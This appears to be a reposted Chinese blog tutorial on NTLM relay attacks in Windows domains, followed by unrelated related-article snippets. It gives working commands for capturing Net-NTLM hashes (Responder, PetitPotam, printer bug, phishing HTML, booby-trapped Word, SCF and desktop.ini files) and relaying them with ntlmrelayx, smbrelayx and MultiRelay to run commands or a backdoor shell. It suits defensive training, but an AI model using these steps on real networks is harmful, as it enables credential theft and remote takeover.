内网域中NTLM中继那些事儿

0x01 初识NTLM协议

基本概念:NTLM(NT LAN Manager)认证是一种早期的Windows网络身份认证协议。它在Windows系统中用于验证用户的身份,并提供对网络资源的访问控制,它是一种基于Challenge/Response的认证机制。

认证流程

NTLM协议Challenge/Response认证机制:

1.协商:双方先确定一下传输协议的版本等各种信息

2.质询:这一步是挑战/响应的关键一步

3.验证:对质询的最后一个结果进行验证,验证通过之后,即允许访问资源

NTLM协议Challenge/Response认证流程:

  1. 首先,client会向server发起请求连接协商一些相关东西

  2. server就会在本地生成一个(16位或8位)随机字符,即Challenge,并将Challenge传给client

  3. 当client接收到Challenge时,将username的NTLM-hash对Challenge进行加密(加密过程中会利用到用户名、域名、机器名等相关信息),生成Response,并将Response发送给server

  4. server在收到Response后,将其和相同的方式进行加密生成另一个Response,如果相同,则验证成功,如果不同就失败

Challenge和Response分析

Challenge:client向server发起协商后,server会随机产生一个Challenge值给client,它是无法预估的,每一次值都不会一样

Response:response=NTProofStr+blob

NTProofStr=将NTLM-V2-HASH(key)和(challenge+blob)两个进行HMAC-MD5加密

NTLM-V2-HASH=(大写的用户名+域名)编码成Unicode格式和用户密码的hash值(key)两个进行HMAC-MD5加密

blob:是由时间,目标信息,随机填充字符生成

因此在我们平时使用工具进行攻击的时候抓到的都是Net-NTML-Hash的数据

Net-NTML-Hash:username:domain:challenge:NTProofStr:blob

0x02 NTLM  Relay介绍

中继原理

如下图所示,在认证的整个流程中,攻击者充当一个中间人,此时,在客户端的眼中,他就是服务端,而在服务端的眼中,他又是客户端。通过这种方式,攻击者就可以伪造客户端来完成身份验证,而在服务端看来一直只有攻击者在跟他交互,所以全程就会把攻击者认为是客户端,这样攻击者就达到了伪造客户端的目的。

图片

中继步骤

  1. 获得受害者Net-NTLM Hash

  2. 使用Net-NTLM Hash进行重放攻击

注:因为Net-NTLM Hash不能直接发送给电脑,必须要有一个应用层协议来进行封装,如SMB、HTTP、RPC、LDAP,但是能不能中继到该协议,还需要看一下该协议是否有漏洞,是否支持等等

0x03 捕获Net-NTLM Hash 

捕获NET-NTLM的方式有很多,捕获阶段分为两步:

1.在B电脑上发起监听

2.A电脑发送认证信息

图片

利用打印机漏洞

kali开启监听

responder -I 监听网卡名 -wd

图片

Windows的MS-RPRN协议用于打印客户端和服务器之前的通信,默认情况下是启用的。该协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()方法调用会创建一个远程更改通知对象,该对象对打印机对象的更改进行监视,并将更改通知发送到客户端。任何经过身份验证的域成员都可以连接到远程服务器的打印服务spoolsv.exe,并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标,之后它将立即测试该连接,即向指定目标进行身份验证。

python3 printerbug.py '域名/账号:密码@目标ip' 'kali_ip'

图片

回到刚才监听的窗口,发现以经捕获到Net-NTLM Hash

图片

利用PetitPotam漏洞

该漏洞利用了微软加密文件系统远程协议(MS-EFSRPC), MS-EFSRPC用于对远程协议存储和通过网络访问的数据执行维护和管理操作。利用PetitPotam,安全研究院可以通过连接到LSARPC强制触发目标机器向指定的远程服务器发送Net-NTLM Hash

python3 PetitPotam.py -d abc.com -u anna -p 'admin!@#45@192.168.24.66' -pipe all listener 192.168.24.25

图片

图片

利用LLMNR&NBNS攻击

我们知道,在电脑的认证机制中,默认是以当前账号密码进行认证,所以,该攻击方式的原理就是当用户任意输入一个不存在的名称,本地hosts文件和DNS服务器均不能正常解析该名称,于是系统就会发送LLMNR/NBNS数据包请求解析。攻击者收到请求后告诉客户端自己是不存在的名称要求客户端发送给Net-NTLM Hash进行认证,这样攻击者就可以收到客户端发来的Net-NTLM Hash。

图片

图片

利用系统命令

通过执行系统命令,访问指定的UNC路径,也可以获取到目标机器的Net-NTLM Hash,能够触发Net-NTLM Hash的常见命令如下:

net.exe use \hostshareattrib.exe \hostsharecacls.exe \hostsharecertreq.exe \hostsharecertutil.exe \hostsharecipher.exe \hostshareClipUp.exe -l \hostsharecmdl32.exe \hostshare等等,网上还有很多,可自行查阅

利用钓鱼网页

在网页中嵌入一段js脚本来触发NTLM认证,可配合XSS、文件上传、XXE​​​​​​​

<!DOCTYPE html><html lang="en"><head>  <meta charset="UTF-8"></head><body></body>  <script src="\\192.168.24.50\test"></script></html>

利用office文档

msf创建

msfconsoleuse auxiliary/docx/word_unc_injectorset lhost iprun

将生成的文档放到目标主机上执行,这里之前已经抓过了,所以就是下图所看到的回显:

图片

  • 手动创建

先创建一个word文件,然后再文档里面放一个图片,退出保存,使用7z打开找到document.xml.rels文件,将图片路径,改为:

Target="\\192.168.24.55\test" TargetMode="External"

图片

这里我使用的word文件,不知道是不是版本

利用系统图标

每个文件夹内都会有一个隐藏文件desktop.ini用来指定和存储文件夹图标,默认是不可见的,只需要在控制面板中去掉“隐藏受保护的操作系统文件”即可

图片

然后新建一个文件夹,每个文件夹下面都有,如果没有的话,就修改图标路径即可,将图标路径改为一个存在的主机ip

图片

再去访问该文件

图片

利用SCF文件

SCF文件是“Windows资源管理器命令”文件,scf文件时包含了lconFile属性,所以Explore.exe会尝试获取文件的图标,而lconFile属性是支持UNC路径的,所以我们也可以通过这里的lconFile属性来捕获Net-NTLM Hash

利用PDF文件

当用户使用PDF阅读器打开一份恶意的PDF文档,该PDF会向远程SMB服务器发出请求,如果该远程SMB服务器对数据包进行抓取,就能够获得用户Windows系统的Net NTLM Hash,通过进一步破解就有可能获得用户系统的明文密码。

图片

利用用户头像

在更改用户头像时,如果普通用户验证图片通过,那么system用户就会去访问192.168.24.102,并且携带用户凭据,就可以捕获Net-NTLM Hash

图片

0x04 NTLM Relay利用

自从 MS08-068 漏洞修复之后无法再将 Net-NTLM 哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了 SMB签名。

简单说就是,A登陆了administrator这个账户,我们通过手段拿到A的Net-NTLM Hash后无法直接把这个Hash传递回A,但是如果域内的B也可以通过administrator这个账户登录,那我们可以把从A处获得的Hash传递给B,拿到B处的administrator权限

MultiRelay.py

修改Responder的配置文件,关闭SMB和HTTP  (kali自带multiRelay.py  文件路径:/usr/share/responder/tools)

vim /usr/share/responder/Responder.conf

图片

python3 MultiRelay.py -t 192.168.24.102 -u ALL 

图片

然后在被控主机上使用错误的UNC就能够触发smb,从而获得目标主机的shell

ntlmrelayx.py

impacket文件下载:https://github.com/CoreSecurity/impacket.git

./ntlmrelayx.py -t 192.168.24.102 -c "ipconfig" -smb2support

然后在被控主机上触发smb

图片

回到kali中,得到ipconfig结果

图片

如果要得到交互式shell,在-c后面接上powershell即可

smbrelayx.py

./smbrelayx.py -h 192.168.24.102 -c whoami

同样在被控主机上触发smb

图片

如果要得到交互式shell,利用CS或msf生成后门文件,并开启监听

./smbrelayx.py -h 192.168.24.101 -e /home/gxy/桌面/shell.exe

同样在被控主机上触发smb,此时cs或者msf即可得到shell

0x05 NTLM Relay防御

  • 在所有网络节点上使用SMB签名

  • 禁用 NBNS 和 LLMNR 协议

  • 定期更新系统

如果您对免杀对抗内网渗透感兴趣,想要深入探讨、交流并学习更多相关内容,欢迎各位师傅加入官方技术交流群!!!(扫描下方二维码,关注公众号【赤鸢安全】,回复【加群】,添加管理员微信,拉您进群)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/673368.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何使用 DANN 改进神经网络

文章目录 一、说明二、语言模型真的理解语言吗&#xff1f;三、了解分配转变3.1 样本选择偏差3.2 非静止环境3.3 领域适配挑战3.4 概念漂移 四、对领域对抗训练的介绍 一、说明 由于其多功能性&#xff0c;神经网络是大多数现代机器学习管道的主要内容。他们处理非结构化数据的…

mathtype7最新产品密钥激活2024最新

MathType是一款专业的数学公式编辑器&#xff0c;广泛应用于教育、科研和出版等领域。随着在线教育和远程工作的兴起&#xff0c;MathType的使用场景更加广泛&#xff0c;成为教师、学生、研究人员和专业作家必不可少的工具之一。本文将详细介绍MathType的功能特点、操作步骤以…

HTML 总结

HTML 简介 HTML(HyperText MarkupLanguage): 超文本标记语言 超文本 : 普通文本指的是只有文字没有图片 ,视频, 音乐,而超文本就有 标记语言 : 由标签构成的语言 HTML的标签都是预定好的, 如<a> </a> 为超链接 HTML代码直接在浏览器中运行,由浏览器内核进行解…

C++自定义String类

自定义一个String类型,该类包含一个指向字符串的指针和一个统计对象数量的计数器. 代码如下: //string.h #pragma once //String类型 #include <iostream> using namespace std;class String { private:char* m_str;//保存字符串的地址static int num_strings;//创建的对…

Nginx服务的主配置文件及配置举例

Nginx服务的主配置文件 安装Nginx认识Nginx服务全局配置I/O 事件配置HTTP 配置日志格式设定 访问状态统计配置查看Nginx已安装模块修改 nginx.conf 配置文件重启服务&#xff0c;访问测试 基于授权的访问控制准备用户密码认证文件修改 nginx.conf 配置文件重启服务&#xff0c;…

Xcode下载安装

1.Xcode可用版本判断&#xff1a; 2.Xcode下载安装&#xff1a; 方案1:AppStore 下载更新 若方案1失败则 方案2:指定版本Xcode包下载解压安装 苹果下载 3.Xcode命令行工具插件安装 xcode-select --install 备注&#xff1a; xcode_x.x.x.xip(压缩包存在时效性(使用前24h/…

【目录扫描】feroxbuster v2.10.2 字典整合版

# 简介 Feroxbuster是一款强大的目录扫描工具&#xff0c;Feroxbuster的主要功能是基于字典的目录扫描&#xff0c;并且默认使用Seclists字典进行使用&#xff01;并且具有快速和高效的特点&#xff0c;采用了多线程的技术来加快扫描速度。还支持暂停交互式设置等&#xff01;…

从一个猜数游戏开始

标题 一、从源码中学习1.1 源码1.2 运行结果 二、 导入一个trait三、重要源码分析 一、从源码中学习 1.1 源码 一个简单的猜数大小游戏&#xff0c;不集的输入&#xff0c;直到猜测正确时退出。 use rand::Rng; use std::cmp::Ordering; use std::io;fn main() {let secret_…

解锁自动化文档转换:Python-Markdown的魔法

文章目录 解锁自动化文档转换&#xff1a;Python-Markdown的魔法背景Python-Markdown是什么&#xff1f;如何安装Python-Markdown&#xff1f;Python-Markdown库函数使用方法场景应用示例常见问题与解决方案总结 解锁自动化文档转换&#xff1a;Python-Markdown的魔法 背景 在…

【Leetcode每日一题】 动态规划 - 简单多状态 dp 问题 - 买卖股票的最佳时机含冷冻期(难度⭐⭐)(79)

1. 题目解析 题目链接&#xff1a;309. 买卖股票的最佳时机含冷冻期 这个问题的理解其实相当简单&#xff0c;只需看一下示例&#xff0c;基本就能明白其含义了。 2.算法原理 二、算法思路 1. 状态表示 dp[i][0]&#xff1a;表示第 i 天结束后&#xff0c;处于「买入」状态…

总结2024.6.2

最近&#xff0c;还没受到offer&#xff0c;找工作找到自闭。在找工作的过程中&#xff0c;也听到一些面试官问我的职业生涯规划。这也让我陷入了沉思。自从考研结束后&#xff0c;都是被这个社会推着走的。我当初也想过自己要从事什么工作&#xff0c;不过&#xff0c;后面还是…

Mysql常见问题总结

1、MySQL初始化报错 mysqld --initialize --usermysql --console 2024-06-02T15:52:22.645557Z 0 [System] [MY-013169] [Server] D:\installSoft\mysql-8.0.21-winx64\bin\mysqld.exe (mysqld 8.0.21) initializing of server in progress as process 8980 2024-06-02T15:52:2…

向量叉乘的方向

向量叉乘的方向 最近在百度上看到这样一个帖子&#xff1a; 可以根据这个判断是顺时针还是逆时针的 ab的方向&#xff1a;四指由a开始&#xff0c;指向b&#xff0c;拇指的指向就是ab的方向&#xff0c;垂直于a和b所在的平面&#xff1b; ba的方向&#xff1a;四指由b开始&a…

驾校-短视频营销招生精品课:抖音推广技巧,抖音短视频招生(41节课)

课程下载&#xff1a;驾校-短视频营销招生精品课&#xff1a;抖音推广技巧&#xff0c;抖音短视频招生(41节课)-课程网盘链接提取码下载.txt资源-CSDN文库 更多资源下载&#xff1a;关注我。 课程内容&#xff1a; 课程目录 [1]-第1课驾校为什么要全力做好短视频营销.mp4 …

Gorm入门

Gorm入门 声明&#xff1a;本博客为看李文周大佬gorm入门视频笔记 【GORM简明教程】关于GORM你看这一个就够了_哔哩哔哩_bilibili 我的代码仓库&#xff1a;6月/Gorm 沉着冷静/2023 - 码云 - 开源中国 (gitee.com) gorm介绍 安装库 go get -u github.com/jinzhu/gormgo ge…

拼图游戏完整思路(全代码演示)

主界面 小练习1&#xff1a; 一、三个界面的设置1&#xff1a;创建窗体 1、将三个主界面分开为三个类&#xff0c;每个类都去继承JFrame这个类&#xff0c;使得每个类都可以使用创建页面功能 2、对每个类进行空参构造&#xff0c;在空参构造里面进行窗体属性的赋值 3、创建一个…

JavaScript基础(十一)

String对象的方法 上一次说了String&#xff0c;那也少不了方法。 length 字符串长度 charAt(a) 返回指定位置的字符&#xff0c;(这里a代表下标&#xff0c;它返回的就是下标a对应的字符) concat(b) 连接字符串&#xff0c;b是被合并的对象名&#xff0c;和加号拼接一样…

创新指南|领导者如何评估自己的表现——麦肯锡专有的CEO卓越评估工具

CEO是任何组织中最具挑战性和要求最高的职位之一&#xff0c;尤其是在当前的经济环境下。这也是最重要的职位之一。研究表明&#xff0c;一家公司 45% 的业绩可归因于CEO的影响。但 CEO 们的实际表现如何&#xff1f;他们面临哪些问题&#xff1f;如何帮助他们发挥出最佳水平&a…

HALCON飞拍贴片机框架程序——硬件介绍

本专栏主要讲解三头贴片机框架程序&#xff0c;包括硬件介绍和软件代码。硬件主要为视觉部分&#xff0c;软件为视觉检测代码部分。贴片机的机械硬件不做介绍。 具体设备运行视频可以搜索博主抖Y&#xff1a;“伶俐科技”观看。 贴片机硬件如下图分为三个部分&#xff0c;第一…

了解Maven,并配置国内源

目录 1.了解Maven 1.1什么是Maven 1.2快速创建一个Maven项⽬ 1.3Maven 核⼼功能 1.3.1项⽬构建 1.3.2依赖管理 1.4Maven Help插件 2.Maven 仓库 2.1中央仓库 2.2本地仓库 3.Maven 设置国内源 1.查看配置⽂件的地址 2.配置国内源 3.设置新项⽬的setting 1.了解Ma…